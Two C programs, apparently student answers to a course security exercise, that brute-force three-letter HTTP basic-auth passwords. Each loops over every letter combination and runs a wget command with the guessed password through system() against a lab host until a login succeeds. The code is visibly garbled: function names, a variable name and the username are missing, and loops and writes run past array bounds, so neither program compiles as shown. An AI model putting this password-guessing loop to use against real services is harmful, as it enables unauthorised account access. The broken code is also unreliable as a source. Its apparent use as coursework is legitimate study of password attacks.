#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>



int ()
{
    int i,j,k,sysoutput;
    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(string1, "wget --http-user= --http-passwd=");
    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
    
    for (i=0;i<=52;i++)
  { 
     [0] = arr[i];
     [1]  ='\0'; 
     strcpy(a,);
     
     printf("The  first  value is %s \n", a);    	

     for (j=0;j<=52;j++)
       {  [0] = arr[j];
          [1] = '\0'; 
	  strcpy(temp1,a);
	  strcat(a,);
	  strcpy(b,a);
	  strcpy(a,temp1);
	   printf("The  second value is %s \n", b);    	          
	for(k=0;k<=52;k++)
	  {  
	     [0] =arr[k];
	     [1] = '\0';
	     strcpy(temp1,b);
	     strcat(b,);
	     strcpy(pass,b);
	     strcpy(b,temp1);
	     pass[0] = arr[i];
           pass[1]= arr[j];
           pass[2]= arr[k];
           pass[3] = '\0';
		printf(" the  third  value of   the %s \n" ,pass);    
                 

		printf("%s\n",pass);
	  printf("*********\n" );
          strcat(string1, pass);
          strcat(string1, string2);
	  printf("\n executing %s\n", string1);
          sysoutput = system(string1);
          if (sysoutput == 0)
          {
            printf("\nsuccess %d %s\n",sysoutput,pass);
            exit(1);
          }


	  strcpy(string1, "");
	  strcpy(string1, "wget --http-user= --http-passwd=");
          
	         }
  	}   
   }
 }  
     
    
  
  
  
  
  



#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
